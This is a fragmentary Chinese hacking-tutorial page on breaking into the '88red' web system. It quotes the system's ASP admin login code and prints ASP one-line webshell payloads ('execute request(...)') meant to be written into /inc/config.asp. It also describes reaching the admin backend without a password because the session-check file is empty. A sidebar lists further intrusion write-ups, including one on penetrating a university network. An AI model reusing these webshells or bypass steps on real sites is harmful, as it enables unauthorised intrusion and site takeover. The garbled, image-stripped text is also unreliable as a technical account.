|
[图文]入侵88red系统的详细过程
第2个，我们来看xss，由xss大家要马上想到有不有办法拿到webshell，比如利用管理员的session进行操作什么的，跨站得到webshell，某牛人写过，我们来看后台吧，后台验证的还行，至少我们的万能钥匙不再万能。片段如下：
| 以下是引用片段： TheAdmin=Replace(Trim(Request("User")),"'","") ‘过滤了空格，并把单引号转换成空格Pass=Replace(Trim(Request("Pass")),"'","") ‘和上面一样的过滤。Set Rs=Server.CreateObject("Adodb.RecordSet")Sql="Select * From Admin Where admname='"&TheAdmin"'" 再进入数据库操作Rs.Open Sql,Conn,1,3If Rs.eof thenResponse.Write "<Script Language='javascript'>alert('对不起，此用户不存在!');window.location.href='Login.asp';</Script>"Response.EndElsePass1=Rs("admpass")If Pass1=Md5(Pass) thenSession("admin")=Rs("admname")Response.Redirect "Main.asp"ElseResponse.Write "<Script Language='javascript'>alert('对不起，密码错误!');window.location.href='Login.asp';</Script>"End IfEnd IfRs.CloseSet Rs=NothingConn.CloseSet Conn=Nothing End If |
| 以下是引用片段： “”%><%execute request(“IloveHackerNoteBook”)%>’” |
| 以下是引用片段： “<%execute request(“******”)%>” |
这样的话，我们就连接/inc/config.asp或得webshell吧。呵呵，这些都是无稽之谈，因为我说这些是建立在没有密码进去的时候，没钥匙你怎么进去偷钱？（破比方，见笑！）那我们看看，这个屋子的主人是怎么验证你是他的亲戚的？看文件头有个session.asp，想必就是验证“血缘”关系的东西了。嘿嘿，是朋友是敌人，看这个文件，没这个文件谁都能进后台了，大吃一惊的是……session.asp竟然为空。我不知道这个系统的作者是怎么写的，那么要紧的文件吖！！！！好了好了，人家的门没有上锁，进去吧。如图4
撬锁工具，也没强迫屋主，就这样进了他的房间（大家千万别真和我学着去偷钱拉！）这个比喻只是想让大家形象点的了解验证是非常严肃的问题。
| 入侵88red系统的详细过程 | 04-07 |
| 对趋势科技等数万网站被攻击的分 | 03-21 |
| 凡人网络购物系统 V8.0 简体中文 | 03-18 |
| linux平台下渗透日本著名XXXXXX. | 03-18 |
| 搜索框所引起的XSS漏洞 | 03-05 |
| 跳转漏洞的利用 | 03-05 |
| 对复旦大学的一次漫长渗透 | 03-03 |
| .net一句话马以及dx论坛拿shell | 03-01 |
| php渗透入侵过程图文详解 | 03-01 |
| DJ网站的入侵详细过程 | 02-26 |
| BBSXP2008存在后台注射漏洞 | 02-19 |
| Discuz! 6 后台拿Shell的方法 | 02-17 |
您现在的位置：